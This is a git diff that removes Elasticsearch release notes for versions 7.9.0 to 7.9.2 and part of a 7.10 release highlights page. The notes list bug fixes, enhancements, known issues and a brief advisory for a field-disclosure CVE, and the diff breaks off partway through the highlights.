-* Fix data stream wildcard resolution bug in eql search api. {es-pull}61904[#61904] (issue: {es-issue}60828[#60828])
-* Prohibit the usage of create index api in namespaces managed by data stream templates {es-pull}62527[#62527]
-
-Features/ILM+SLM::
-* Fix condition in ILM step that cannot be met {es-pull}62377[#62377]
-
-Features/Ingest::
-* Add Missing NamedWritable Registration for ExecuteEnrichPolicyStatus {es-pull}62364[#62364]
-
-Features/Java High Level REST Client::
-* Drop assertion that rest client response warnings conform to RFC 7234 {es-pull}61365[#61365] (issues: {es-issue}60889[#60889], {es-issue}61259[#61259])
-
-Infra/Packaging::
-* Check glibc version {es-pull}62728[#62728] (issue: {es-issue}62709[#62709])
-
-Machine Learning::
-* Add null checks for C++ log handler {es-pull}62238[#62238]
-* Persist progress when setting data frame analytics task to failed {es-pull}61782[#61782]
-* Fix reporting of peak memory usage in memory stats for data frame analytics {ml-pull}1468[#1468]
-* Fix reporting of peak memory usage in model size stats for anomaly detection {ml-pull}1484[#1484]
-
-Mapping::
-* Allow empty null values for date and IP field mappers {es-pull}62487[#62487] (issues: {es-issue}57666[#57666], {es-issue}62363[#62363])
-* Take resolution into account when parsing date null value {es-pull}61994[#61994]
-
-Network::
-* Log alloc description after netty processors set {es-pull}62741[#62741]
-
-SQL::
-* Do not resolve self-referencing aliases {es-pull}62382[#62382] (issue: {es-issue}62296[#62296])
-
-Search::
-* Fix disabling `allow_leading_wildcard` {es-pull}62300[#62300] (issues: {es-issue}60959[#60959], {es-issue}62267[#62267])
-* Search memory leak {es-pull}61788[#61788]
-
-Transform::
-* Disable optimizations when using scripts in group_by {es-pull}60724[#60724] (issue: {es-issue}57332[#57332])
-
-
-
-[[upgrade-7.9.2]]
-[float]
-=== Upgrades
-
-Infra/Packaging::
-* Upgrade the bundled JDK to JDK 15 {es-pull}62580[#62580]
-
-[[release-notes-7.9.1]]
-== {es} version 7.9.1
-
-Also see <<breaking-changes-7.9,Breaking changes in 7.9>>.
-
-[[known-issues-7.9.1]]
-[discrete]
-=== Known issues
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[feature-7.9.1]]
-[float]
-=== New features
-
-Search::
-* QL: Wildcard field type support {es-pull}58062[#58062] (issues: {es-issue}54184[#54184], {es-issue}58044[#58044])
-
-
-
-[[enhancement-7.9.1]]
-[float]
-=== Enhancements
-
-CRUD::
-* Log more information when mappings fail on index creation {es-pull}61577[#61577]
-
-EQL::
-* Make endsWith function use a wildcard ES query wherever possible {es-pull}61160[#61160] (issue: {es-issue}61154[#61154])
-* Make stringContains function use a wildcard ES query wherever possible {es-pull}61189[#61189] (issue: {es-issue}58922[#58922])
-
-Features/Stats::
-* Change severity of negative stats messages from WARN to DEBUG {es-pull}60375[#60375]
-
-Search::
-* Fix handling of alias filter in SearchService#canMatch {es-pull}59368[#59368] (issue: {es-issue}59367[#59367])
-* QL: Add filtering Query DSL support to IndexResolver {es-pull}60514[#60514] (issue: {es-issue}57358[#57358])
-
-Snapshot/Restore::
-* Do not access snapshot repo on dedicated voting-only master node {es-pull}61016[#61016] (issue: {es-issue}59649[#59649])
-
-
-
-[[bug-7.9.1]]
-[float]
-=== Bug fixes
-
-Authentication::
-* Call ActionListener.onResponse exactly once {es-pull}61584[#61584]
-
-Authorization::
-* Relax the index access control check for scroll searches {es-pull}61446[#61446]
-
-CCR::
-* Relax ShardFollowTasksExecutor validation {es-pull}60054[#60054] (issue: {es-issue}59625[#59625])
-* Set timeout of auto put-follow request to unbounded {es-pull}61679[#61679] (issue: {es-issue}56891[#56891])
-* Set timeout of master node requests on follower to unbounded {es-pull}60070[#60070] (issue: {es-issue}56891[#56891])
-
-Cluster Coordination::
-* Restrict testing of legacy discovery to tests {es-pull}61178[#61178] (issue: {es-issue}61177[#61177])
-
-EQL::
-* Return sequence join keys in the original type {es-pull}61268[#61268] (issue: {es-issue}59707[#59707])
-
-Features/Data streams::
-* "no such index [null]" when indexing into data stream with op_type=index [ISSUE] {es-pull}60581[#60581]
-* Data streams: throw ResourceAlreadyExists exception {es-pull}60518[#60518]
-* Track backing indices in data streams stats from cluster state {es-pull}59817[#59817]
-
-Features/ILM+SLM::
-* Fix race in SLM master/cluster state listeners {es-pull}59801[#59801]
-
-Features/Ingest::
-* Fix handling of final pipelines when destination is changed {es-pull}59522[#59522] (issue: {es-issue}57968[#57968])
-* Fix wrong pipeline name in debug log {es-pull}58817[#58817] (issue: {es-issue}58478[#58478])
-* Fix wrong result when executing bulk requests with and without pipeline {es-pull}60818[#60818] (issue: {es-issue}60437[#60437])
-* Update regex file for es user agent node processor {es-pull}59697[#59697] (issue: {es-issue}59694[#59694])
-
-IdentityProvider::
-* Only call listener once (SP template registration) {es-pull}60497[#60497] (issues: {es-issue}54285[#54285], {es-issue}54423[#54423])
-
-Machine Learning::
-* Always write prediction_probability and prediction_score for classification inference {es-pull}60335[#60335]
-* Ensure .ml-config index is updated before clearing anomaly job's finished_time {es-pull}61064[#61064] (issue: {es-issue}61157[#61157])
-* Ensure annotations index mappings are up to date {es-pull}61107[#61107] (issue: {es-issue}74935[#74935])
-* Handle node closed exception in ML result processing {es-pull}60238[#60238] (issue: {es-issue}60130[#60130])
-* Recover data frame extraction search from latest sort key {es-pull}61544[#61544]
-
-SQL::
-* Fix NPE on ambiguous GROUP BY {es-pull}59370[#59370] (issues: {es-issue}46396[#46396], {es-issue}56489[#56489])
-* Fix SYS COLUMNS schema in ODBC mode {es-pull}59513[#59513] (issue: {es-issue}59506[#59506])
-
-Search::
-* Disable sort optimization on search collapsing {es-pull}60838[#60838]
-* Search fix: query_string regex searches not working on wildcard fields {es-pull}60959[#60959] (issue: {es-issue}60957[#60957])
-
-Snapshot/Restore::
-* Cleanly Handle S3 SDK Exceptions in Request Counting {es-pull}61686[#61686] (issue: {es-issue}61670[#61670])
-* Fix Concurrent Snapshot Create+Delete + Delete Index {es-pull}61770[#61770] (issue: {es-issue}61762[#61762])
-
-
-
-[[upgrade-7.9.1]]
-[float]
-=== Upgrades
-
-Infra/Core::
-* Upgrade to Lucene 8.6.2 {es-pull}61688[#61688] (issue: {es-issue}61512[#61512])
-
-
-
-[[release-notes-7.9.0]]
-== {es} version 7.9.0
-
-Also see <<breaking-changes-7.9,Breaking changes in 7.9>>.
-
-[float]
-[[security-updates-7.9.0]]
-=== Security updates
-
-* A field disclosure flaw was found in {es} when running a scrolling search with
-field level security. If a user runs the same query another more privileged user
-recently ran, the scrolling search can leak fields that should be hidden. This
-could result in an attacker gaining additional permissions against a restricted
-index. All versions of {es} before 7.9.0 and 6.8.12 are affected by this flaw.
-You must upgrade to {es} version 7.9.0 or 6.8.12 to obtain the fix.
-https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7019[CVE-2020-7019]
-
-[[known-issues-7.9.0]]
-[discrete]
-=== Known issues
-
-* Upgrading to 7.9.0 from an earlier version will result in incorrect mappings
-on the {ml} annotations index, and possibly also on the {ml} config index. This
-will lead to some pages in the {ml} UI not displaying correctly, and may prevent
-{ml-jobs} being created or updated. The best way to avoid this problem if you
-read about this known issue before upgrading is to manually update the mappings
-on these indices in your old {es} version _before_ upgrading to 7.9.0. If you
-find out about the issue after upgrading then reindexing is required to recover.
-Full details of the mitigations are in
-{ml-docs}/ml-troubleshooting.html#ml-troubleshooting-mappings[Upgrade to 7.9.0 causes incorrect mappings].
-
-* Lucene 8.6.0, on which Elasticsearch 7.9.0 is based,
-  https://issues.apache.org/jira/browse/LUCENE-9478[contains a memory
-  leak]. This memory leak manifests in Elasticsearch when a single document is
-  updated repeatedly with a forced refresh. The cluster state storage layer in
-  Elasticsearch is based on Lucene and does use single-document updates with
-  forced refreshes, meaning that this memory leak manifests in Elasticsearch under
-  normal conditions. It also manifests when user-controlled workloads update a
-  single document in an index repeatedly with a forced refresh. In both cases,
-  the memory leak is around 500 bytes per update, so it does take some time for
-  the leak to show any meaningful impact on the system. Symptoms of this memory
-  leak are the size of the used heap slowly rising over time, requests
-  eventually being rejected by the real memory circuit breaker, and potentially
-  out-of-memory errors. A workaround is to restart any nodes exhibiting these
-  symptoms.  We are actively working with the Lucene community to release a
-  https://github.com/apache/lucene-solr/pull/1779[fix] in Lucene 8.6.2 to
-  deliver in Elasticsearch 7.9.1 that will address this memory leak.
-
-* SQL: If a `WHERE` clause contains at least two relational operators joined by
-`AND`, of which one is a comparison (`<=`, `<`, `>=`, `>`) and another one is
-an inequality (`!=`, `<>`), both against literals or foldable expressions, the
-inequality will be ignored. The workaround is to substitute the inequality
-with a `NOT IN` operator.
-+
-We have fixed this issue in {es} 7.10.1 and later versions. For more details,
-see {es-issue}65488[#65488].
-
-[[breaking-7.9.0]]
-[discrete]
-=== Breaking changes
-
-Script Cache::
-* Script cache size and rate limiting are per-context {es-pull}55753[#55753] (issue: {es-issue}50152[#50152])
-
-Field capabilities API::
-* Constant_keyword fields are now described by their family type `keyword` instead of `constant_keyword` {es-pull}58483[#58483] (issue: {es-issue}53175[#53175])
-
-Snapshot restore throttling::
-* Restoring from a snapshot (which is a particular form of recovery) is now
-  properly taking recovery throttling into account (i.e. the
-  `indices.recovery.max_bytes_per_sec` setting).
-  The `max_restore_bytes_per_sec` setting is also now defaulting to
-  unlimited, whereas previously it was set to `40mb`, which is the
-  default that's used for `indices.recovery.max_bytes_per_sec`. This means
-  that no behavioral change will be observed by clusters where the recovery
-  and restore settings had not been adapted from the defaults. {es-pull}58658[#58658]
-
-Thread pool write queue size::
-* The WRITE thread pool default queue size (`thread_pool.write.size`) has been
-  increased from 200 to 10000. A small queue size (200) caused issues when users
-  wanted to send small indexing requests with a high client count. Additional
-  memory-oriented back pressure has been introduced with the
-  `indexing_pressure.memory.limit` setting. This setting configures a limit to
-  the number of bytes allowed to be consumed by outstanding indexing requests.
-  {es-issue}59263[#59263]
-
-Dangling indices::
-* Automatically importing dangling indices is now deprecated, disabled by
-  default, and will be removed in {es} 8.0. See the
-  <<deprecate_auto_import_dangling_indices,migration notes>>.
-  {es-pull}58176[#58176] {es-pull}58898[#58898] (issue: {es-issue}48366[#48366])
-
-[[breaking-java-7.9.0]]
-[discrete]
-=== Breaking Java changes
-
-Aggregations::
-* Improve cardinality measure used to build aggs {es-pull}56533[#56533] (issue: {es-issue}56487[#56487])
-
-Features/Ingest::
-* Add optional description parameter to ingest processors. {es-pull}57906[#57906] (issue: {es-issue}56000[#56000])
-
-
-
-[[feature-7.9.0]]
-[discrete]
-=== New features
-
-Aggregations::
-* Add moving percentiles pipeline aggregation {es-pull}55441[#55441] (issue: {es-issue}49452[#49452])
-* Add normalize pipeline aggregation {es-pull}56399[#56399] (issue: {es-issue}51005[#51005])
-* Add variable width histogram aggregation {es-pull}42035[#42035] (issues: {es-issue}9572[#9572], {es-issue}50863[#50863])
-* Add pipeline inference aggregation {es-pull}58193[#58193]
-* Speed up time interval arounding around daylight savings time (DST) {es-pull}56371[#56371] (issue: {es-issue}55559[#55559])
-
-Geo::
-* Override doc_value parameter in Spatial XPack module {es-pull}53286[#53286] (issue: {es-issue}37206[#37206])
-
-Machine Learning::
-* Add update data frame analytics jobs API {es-pull}58302[#58302] (issue: {es-issue}45720[#45720])
-* Introduce model_plot_config.annotations_enabled setting for anomaly detection jobs {es-pull}57539[#57539] (issue: {es-issue}55781[#55781])
-* Report significant changes to anomaly detection models in annotations of the results {ml-pull}1247[#1247], {es-pull}56342[#56342], {es-pull}56417[#56417], {es-pull}57144[#57144], {es-pull}57278[#57278], {es-pull}57539[#57539]
-
-Mapping::
-* Merge mappings for composable index templates {es-pull}58521[#58521] (issue: {es-issue}53101[#53101])
-* Wildcard field optimised for wildcard queries {es-pull}49993[#49993] (issue: {es-issue}48852[#48852])
-
-Search::
-* Allow index filtering in field capabilities API {es-pull}57276[#57276] (issue: {es-issue}56195[#56195])
-
-
-
-[[enhancement-7.9.0]]
-[discrete]
-=== Enhancements
-
-Aggregations::
-* Add support for numeric range keys {es-pull}56452[#56452] (issue: {es-issue}56402[#56402])
-* Added standard deviation / variance sampling to extended stats {es-pull}49782[#49782] (issue: {es-issue}49554[#49554])
-* Give significance lookups their own home {es-pull}57903[#57903]
-* Increase search.max_buckets to 65,535 {es-pull}57042[#57042] (issue: {es-issue}51731[#51731])
-* Optimize date_histograms across daylight savings time {es-pull}55559[#55559]
-* Return clear error message if aggregation type is invalid {es-pull}58255[#58255] (issue: {es-issue}58146[#58146])
-* Save memory on numeric significant terms when not top {es-pull}56789[#56789] (issue: {es-issue}55873[#55873])
-* Save memory when auto_date_histogram is not on top {es-pull}57304[#57304] (issue: {es-issue}56487[#56487])
-* Save memory when date_histogram is not on top {es-pull}56921[#56921] (issues: {es-issue}55873[#55873], {es-issue}56487[#56487])
-* Save memory when histogram agg is not on top {es-pull}57277[#57277]
-* Save memory when numeric terms agg is not top {es-pull}55873[#55873]
-* Save memory when parent and child are not on top {es-pull}57892[#57892] (issue: {es-issue}55873[#55873])
-* Save memory when rare_terms is not on top {es-pull}57948[#57948] (issue: {es-issue}55873[#55873])
-* Save memory when significant_text is not on top {es-pull}58145[#58145] (issue: {es-issue}55873[#55873])
-* Save memory when string terms are not on top {es-pull}57758[#57758]
-* Speed up reducing auto_date_histo with a time zone {es-pull}57933[#57933] (issue: {es-issue}56124[#56124])
-* Speed up rounding in auto_date_histogram {es-pull}56384[#56384] (issue: {es-issue}55559[#55559])
-
-Allocation::
-* Account for remaining recovery in disk allocator {es-pull}58029[#58029]
-
-Analysis::
-* Add max_token_length setting to the CharGroupTokenizer {es-pull}56860[#56860] (issue: {es-issue}56676[#56676])
-* Expose discard_compound_token option to kuromoji_tokenizer {es-pull}57421[#57421]
-* Support multiple tokens on LHS in stemmer_override rules (#56113) {es-pull}56484[#56484] (issue: {es-issue}56113[#56113])
-
-Authentication::
-* Add http proxy support for OIDC realm {es-pull}57039[#57039] (issue: {es-issue}53379[#53379])
-* Improve threadpool usage and error handling for API key validation {es-pull}58090[#58090] (issue: {es-issue}58088[#58088])
-* Support handling LogoutResponse from SAML idP {es-pull}56316[#56316] (issues: {es-issue}40901[#40901], {es-issue}43264[#43264])
-
-Authorization::
-* Add cache for application privileges {es-pull}55836[#55836] (issue: {es-issue}54317[#54317])
-* Add monitor and view_index_metadata privileges to built-in `kibana_system` role {es-pull}57755[#57755]
-* Improve role cache efficiency for API key roles {es-pull}58156[#58156] (issue: {es-issue}53939[#53939])
-
-CCR::
-* Allow follower indices to override leader settings {es-pull}58103[#58103]
-
-CRUD::
-* Retry failed replication due to transient errors {es-pull}55633[#55633]
-
-Engine::
-* Don't log on RetentionLeaseSync error handler after an index has been deleted {es-pull}58098[#58098] (issue: {es-issue}57864[#57864])
-
-Features/Data streams::
-* Add support for snapshot and restore to data streams {es-pull}57675[#57675] (issues: {es-issue}53100[#53100], {es-issue}57127[#57127])
-* Data stream creation validation allows for prefixed indices {es-pull}57750[#57750] (issue: {es-issue}53100[#53100])
-* Disallow deletion of composable template if in use by data stream {es-pull}57957[#57957] (issue: {es-issue}57004[#57004])
-* Validate alias operations don't target data streams {es-pull}58327[#58327] (issue: {es-issue}53100[#53100])
-
-Features/ILM+SLM::
-* Add data stream support to searchable snapshot action {es-pull}57873[#57873] (issue: {es-issue}53100[#53100])
-* Add data stream support to the shrink action {es-pull}57616[#57616] (issue: {es-issue}53100[#53100])
-* Add support for rolling over data streams  {es-pull}57295[#57295] (issues: {es-issue}53100[#53100], {es-issue}53488[#53488])
-* Check the managed index is not a data stream write index {es-pull}58239[#58239] (issue: {es-issue}53100[#53100])
-
-Features/Indices APIs::
-* Add default composable templates for new indexing strategy {es-pull}57629[#57629] (issue: {es-issue}56709[#56709])
-* Add index block api {es-pull}58094[#58094]
-* Add new flag to check whether alias exists on remove {es-pull}58100[#58100]
-* Add prefer_v2_templates parameter to reindex {es-pull}56253[#56253] (issue: {es-issue}53101[#53101])
-* Add template simulation API for simulating template composition {es-pull}56842[#56842] (issues: {es-issue}53101[#53101], {es-issue}55686[#55686], {es-issue}56255[#56255], {es-issue}56390[#56390])
-
-Features/Ingest::
-* Add ignore_empty_value parameter in set ingest processor {es-pull}57030[#57030] (issue: {es-issue}54783[#54783])
-* Support `if_seq_no` and `if_primary_term` for ingest {es-pull}55430[#55430] (issue: {es-issue}41255[#41255])
-
-Features/Java High Level REST Client::
-* Add support for data streams {es-pull}58106[#58106] (issue: {es-issue}53100[#53100])
-* Enable decompression of response within LowLevelRestClient {es-pull}55413[#55413] (issues: {es-issue}24349[#24349], {es-issue}53555[#53555])
-
-Features/Java Low Level REST Client::
-* Add isRunning method to RestClient {es-pull}57973[#57973] (issue: {es-issue}42133[#42133])
-* Add RequestConfig support to RequestOptions {es-pull}57972[#57972]
-
-Infra/Circuit Breakers::
-* Enhance real memory circuit breaker with G1 GC {es-pull}58674[#58674] (issue: {es-issue}57202[#57202])
-
-Infra/Core::
-* Introduce node.roles setting {es-pull}54998[#54998]
-
-Infra/Packaging::
-* Remove DEBUG-level logging from actions in Docker {es-pull}57389[#57389] (issues: {es-issue}51198[#51198], {es-issue}51459[#51459])
-
-Infra/Plugins::
-* Improved ExtensiblePlugin {es-pull}58234[#58234]
-
-Infra/Resiliency::
-* Adds resiliency to read-only filesystems #45286 {es-pull}52680[#52680] (issue: {es-issue}45286[#45286])
-
-Machine Learning::
-* Accounting for model size when models are not cached. {es-pull}58670[#58670]
-* Adds new for_export flag to GET _ml/inference API {es-pull}57351[#57351]
-* Adds WKT geometry detection in find_file_structure {es-pull}57014[#57014] (issue: {es-issue}56967[#56967])
-* Calculate cache misses for inference and return in stats {es-pull}58252[#58252]
-* Delete auto-generated annotations when job is deleted. {es-pull}58169[#58169] (issue: {es-issue}57976[#57976])
-* Delete auto-generated annotations when model snapshot is reverted {es-pull}58240[#58240] (issue: {es-issue}57982[#57982])
-* Delete expired data by job {es-pull}57337[#57337]
-* Introduce Annotation.event field {es-pull}57144[#57144] (issue: {es-issue}55781[#55781])
-* Add support for larger forecasts in memory via max_model_memory setting {ml-pull}1238[#1238], {es-pull}57254[#57254]
-* Don't lose precision when saving model state {ml-pull}1274[#1274]
-* Parallelize the feature importance calculation for classification and regression over trees {ml-pull}1277[#1277]
-* Add an option to do categorization independently for each partition {ml-pull}1293[#1293], {ml-pull}1318[#1318], {ml-pull}1356[#1356], {es-pull}57683[#57683]
-* Memory usage is reported during job initialization {ml-pull}1294[#1294]
-* More realistic memory estimation for classification and regression means that these analyses will require lower memory limits than before {ml-pull}1298[#1298]
-* Checkpoint state to allow efficient failover during coarse parameter search for classification and regression {ml-pull}1300[#1300]
-* Improve data access patterns to speed up classification and regression {ml-pull}1312[#1312]
-* Performance improvements for classification and regression, particularly running multithreaded {ml-pull}1317[#1317]
-* Improve runtime and memory usage training deep trees for classification and regression {ml-pull}1340[#1340]
-* Improvement in handling large inference model definitions {ml-pull}1349[#1349]
-* Add a peak_model_bytes field to model_size_stats {ml-pull}1389[#1389]
-
-Mapping::
-* Add regex query support to wildcard field {es-pull}55548[#55548] (issue: {es-issue}54725[#54725])
-* Make `keyword` a family of field types {es-pull}58315[#58315] (issue: {es-issue}53175[#53175])
-* Store parsed mapping settings in IndexSettings {es-pull}57492[#57492] (issue: {es-issue}57395[#57395])
-* Wildcard field - add support for custom null values {es-pull}57047[#57047]
-
-Network::
-* Make the number of transport threads equal to the number of available CPUs {es-pull}56488[#56488]
-
-Recovery::
-* Implement dangling indices API {es-pull}50920[#50920] (issue: {es-issue}48366[#48366])
-* Reestablish peer recovery after network errors {es-pull}55274[#55274]
-* Sending operations concurrently in peer recovery {es-pull}58018[#58018] (issue: {es-issue}58011[#58011])
-
-Reindex::
-* Throw an illegal_argument_exception when max_docs is less than slices {es-pull}54901[#54901] (issue: {es-issue}52786[#52786])
-
-SQL::
-* Implement TIME_PARSE function for parsing strings into TIME values {es-pull}55223[#55223] (issues: {es-issue}54963[#54963], {es-issue}55095[#55095])
-* Implement TOP as an alternative to LIMIT {es-pull}57428[#57428] (issue: {es-issue}41195[#41195])
-* Implement TRIM function {es-pull}57518[#57518] (issue: {es-issue}41195[#41195])
-* Improve performances of LTRIM/RTRIM {es-pull}57603[#57603] (issue: {es-issue}57594[#57594])
-* Make CASTing string to DATETIME more lenient {es-pull}57451[#57451]
-* Redact credentials in connection exceptions {es-pull}58650[#58650] (issue: {es-issue}56474[#56474])
-* Relax parsing of date/time escaped literals {es-pull}58336[#58336] (issue: {es-issue}58262[#58262])
-* Add support for scalars within LIKE/RLIKE {es-pull}56495[#56495] (issue: {es-issue}55058[#55058])
-
-Search::
-* Add description to submit and get async search, as well as cancel tasks {es-pull}57745[#57745]
-* Add matchBoolPrefix static method in query builders {es-pull}58637[#58637] (issue: {es-issue}58388[#58388])
-* Add range query support to wildcard field {es-pull}57881[#57881] (issue: {es-issue}57816[#57816])
-* Group docIds by segment in FetchPhase to better use LRU cache {es-pull}57273[#57273]
-* Improve error handling when decoding async execution ids {es-pull}56285[#56285]
-* Specify reason whenever async search gets cancelled {es-pull}57761[#57761]
-* Use index sort range query when possible. {es-pull}56657[#56657] (issue: {es-issue}48665[#48665])
-
-Security::
-* Add machine learning admin permissions to the kibana_system role {es-pull}58061[#58061]
-* Just log 401 stacktraces {es-pull}55774[#55774]
-
-Snapshot/Restore::
-* Deduplicate Index Metadata in BlobStore {es-pull}50278[#50278] (issues: {es-issue}45736[#45736], {es-issue}46250[#46250], {es-issue}49800[#49800])
-* Default to zero replicas for searchable snapshots {es-pull}57802[#57802] (issue: {es-issue}50999[#50999])
-* Enable fully concurrent snapshot operations {es-pull}56911[#56911]
-* Support cloning of searchable snapshot indices {es-pull}56595[#56595]
-* Track GET/LIST Azure Storage API calls  {es-pull}56773[#56773]
-* Track GET/LIST GoogleCloudStorage API calls {es-pull}56585[#56585]
-* Track PUT/PUT_BLOCK operations on AzureBlobStore. {es-pull}56936[#56936]
-* Track multipart/resumable uploads GCS API calls {es-pull}56821[#56821]
-* Track upload requests on S3 repositories {es-pull}56826[#56826]
-
-Task Management::
-* Add index name to refresh mapping task {es-pull}57598[#57598]
-* Cancel task and descendants on channel disconnects {es-pull}56620[#56620] (issues: {es-issue}56327[#56327], {es-issue}56619[#56619])
-
-Transform::
-* Add support for terms agg in transforms {es-pull}56696[#56696]
-* Adds geotile_grid support in group_by {es-pull}56514[#56514] (issue: {es-issue}56121[#56121])
-
-
-
-[[bug-7.9.0]]
-[discrete]
-=== Bug fixes
-
-Aggregations::
-* Fix auto_date_histogram interval {es-pull}56252[#56252] (issue: {es-issue}56116[#56116])
-* Fix bug in faster interval rounding {es-pull}56433[#56433] (issue: {es-issue}56400[#56400])
-* Fix bug in parent and child aggregators when parent field not defined {es-pull}57089[#57089] (issue: {es-issue}42997[#42997])
-* Fix missing null values for std_deviation_bounds in ext. stats aggs {es-pull}58000[#58000]
-
-Allocation::
-* Reword INDEX_READ_ONLY_ALLOW_DELETE_BLOCK message {es-pull}58410[#58410] (issues: {es-issue}42559[#42559], {es-issue}50166[#50166], {es-issue}58376[#58376])
-
-Authentication::
-* Map only specific type of OIDC Claims {es-pull}58524[#58524]
-
-Authorization::
-* Change privilege of enrich stats API to monitor {es-pull}52027[#52027] (issue: {es-issue}51677[#51677])
-
-Engine::
-* Fix local translog recovery not updating safe commit in edge case {es-pull}57350[#57350] (issue: {es-issue}57010[#57010])
-* Hide AlreadyClosedException on IndexCommit release {es-pull}57986[#57986] (issue: {es-issue}57797[#57797])
-
-Features/ILM+SLM::
-* Normalized prefix for rollover API {es-pull}57271[#57271] (issue: {es-issue}53388[#53388])
-
-Features/Indices APIs::
-* Don't allow invalid template combinations {es-pull}56397[#56397] (issues: {es-issue}53101[#53101], {es-issue}56314[#56314])
-* Handle `cluster.max_shards_per_node` in YAML config {es-pull}57234[#57234] (issue: {es-issue}40803[#40803])
-
-Features/Ingest::
-* Fix ingest simulate verbose on failure with conditional {es-pull}56478[#56478] (issue: {es-issue}56004[#56004])
-
-Geo::
-* Check for degenerated lines when calculating the centroid {es-pull}58027[#58027] (issue: {es-issue}55851[#55851])
-* Fix bug in circuit-breaker check for geoshape grid aggregations {es-pull}57962[#57962] (issue: {es-issue}57847[#57847])
-
-Infra/Scripting::
-* Fix source return bug in scripting {es-pull}56831[#56831] (issue: {es-issue}52103[#52103])
-
-Machine Learning::
-* Fix wire serialization for flush acknowledgements {es-pull}58413[#58413]
-* Make waiting for renormalization optional for internally flushing job {es-pull}58537[#58537] (issue: {es-issue}58395[#58395])
-* Tail the C++ logging pipe before connecting other pipes {es-pull}56632[#56632] (issue: {es-issue}56366[#56366])
-* Fix numerical issues leading to blow up of the model plot bounds {ml-pull}1268[#1268]
-* Fix causes for inverted forecast confidence interval bounds {ml-pull}1369[#1369] (issue: {ml-issue}1357[#1357])
-* Restrict growth of max matching string length for categories {ml-pull}1406[#1406]
-
-Mapping::
-* Wildcard field fix for scripts - changed value type from BytesRef to String  {es-pull}58060[#58060] (issue: {es-issue}58044[#58044])
-
-SQL::
-* Introduce JDBC option for meta pattern escaping {es-pull}40661[#40661] (issue: {es-issue}40640[#40640])
-
-Search::
-* Don't omit empty arrays when filtering _source {es-pull}56527[#56527] (issues: {es-issue}20736[#20736], {es-issue}22593[#22593], {es-issue}23796[#23796])
-* Fix casting of scaled_float in sorts {es-pull}57207[#57207]
-
-Snapshot/Restore::
-* Account for recovery throttling when restoring snapshot {es-pull}58658[#58658] (issue: {es-issue}57023[#57023])
-* Fix noisy logging during snapshot delete {es-pull}56264[#56264]
-* Fix S3ClientSettings leak {es-pull}56703[#56703] (issue: {es-issue}56702[#56702])
-
-
-
-[[upgrade-7.9.0]]
-[discrete]
-=== Upgrades
-
-Search::
-* Update to lucene snapshot e7c625430ed {es-pull}57981[#57981]
diff --git a/docs/reference/release-notes/highlights.asciidoc b/docs/reference/release-notes/highlights.asciidoc
deleted file mode 100644
index 85cb4943b61..00000000000
--- a/docs/reference/release-notes/highlights.asciidoc
+++ /dev/null
@@ -1,260 +0,0 @@
-[[release-highlights]]
-== What's new in {minor-version}
-
-Here are the highlights of what's new and improved in {es} {minor-version}!
-ifeval::["{release-state}"!="unreleased"]
-For detailed information about this release, see the
-<<release-notes-{elasticsearch_version}, Release notes >> and
-<<breaking-changes-{minor-version}, Breaking changes>>.
-endif::[]
-
-// Add previous release to the list
-Other versions:
-{ref-bare}/7.9/release-highlights.html[7.9]
-| {ref-bare}/7.8/release-highlights.html[7.8]
-| {ref-bare}/7.7/release-highlights.html[7.7]
-| {ref-bare}/7.6/release-highlights-7.6.0.html[7.6]
-| {ref-bare}/7.5/release-highlights-7.5.0.html[7.5]
-| {ref-bare}/7.4/release-highlights-7.4.0.html[7.4]
-| {ref-bare}/7.3/release-highlights-7.3.0.html[7.3]
-| {ref-bare}/7.2/release-highlights-7.2.0.html[7.2]
-| {ref-bare}/7.1/release-highlights-7.1.0.html[7.1]
-| {ref-bare}/7.0/release-highlights-7.0.0.html[7.0]
-
-// tag::notable-highlights[]
-[discrete]
-[[indexing-speed-improvement]]
-===  Indexing speed improvement
-
-{es} 7.10 improves indexing speed by up to 20%. We've reduced the coordination
-needed to add entries to the {ref}/index-modules-translog.html[transaction log].
-This reduction allows for more concurrency and increases the transaction
-log buffer size from `8KB` to `1MB`. However, performance gains are lower for
-full-text search and other analysis-intensive use cases. The heavier the
-indexing chain, the lower the gains, so indexing chains that involve many
-fields, ingest pipelines or full-text indexing will see lower gains.
-
-[discrete]
-[[more-space-efficient-indices]]
-=== More space-efficient indices
-
-{es} 7.10 depends on Apache Lucene 8.7, which introduces higher compression of
-stored fields, the part of the index that notably stores the
-{ref}/mapping-source-field.html[`_source`]. On the various data sets that we 
-benchmark against, we noticed space reductions between 0% and 10%. This change 
-especially helps on data sets that have lots of redundant data across documents, 
-which is typically the case of the documents that are produced by our
-Observability solutions, which repeat metadata about the host that produced the
-data on every document.
-
-Elasticsearch offers the ability to configure the
-{ref}/index-modules.html#index-codec[`index.codec`] setting to tell
-{es} how aggressively to compress stored fields. Both supported values
-`default` and `best_compression` will get better compression with this change.
-
-[discrete]
-[[data-tier-formalization]]
-=== Data tiers
-
-7.10 introduces the concept of formalized data tiers within {es}.
-{ref}/data-tiers.html[Data tiers] are a simple, integrated approach that gives
-users control over optimizing for cost, performance, and breadth/depth of data.
-Prior to this formalization, many users configured their own tier topology using 
-custom node attributes as well as using {ilm-init} to manage the lifecycle and
-location of data within a cluster.
-
-With this formalization, data tiers (content, hot, warm, and cold) can be
-explicitly configured using {ref}/modules-node.html#node-roles[node roles], and 
-indices can be configured to be allocated within a specific tier using
-{ref}/data-tier-shard-filtering.html[index-level data tier allocation filtering]. 
-{ilm-init} will make use of these tiers to
-{ref}/ilm-migrate.html[automatically migrate] data between nodes as an index
-goes through the phases of its lifecycle.
-
-Newly created indices abstracted by a {ref}/data-streams.html[data stream] will
-be allocated to the `data_hot` tier automatically, while standalone indices will
-be allocated to the `data_content` tier automatically. Nodes with the
-pre-existing `data` role are considered to be part of all tiers.
-
-
-[discrete]
-[[auc-roc-eval-class]]
-=== AUC ROC evaluation metrics for classification analysis
-
-{ml-docs}/ml-dfanalytics-evaluate.html#ml-dfanalytics-class-aucroc[Area under the curve of receiver operating characteristic (AUC ROC)] 
-is an evaluation metric that has been available for {oldetection} since 7.3 and 
-now is available for {classification} analysis. AUC ROC represents the 
-performance of the {classification} process at different predicted probability 
-thresholds. The true positive rate for a specific class is compared against the 
-rate of all the other classes combined at the different threshold levels to 
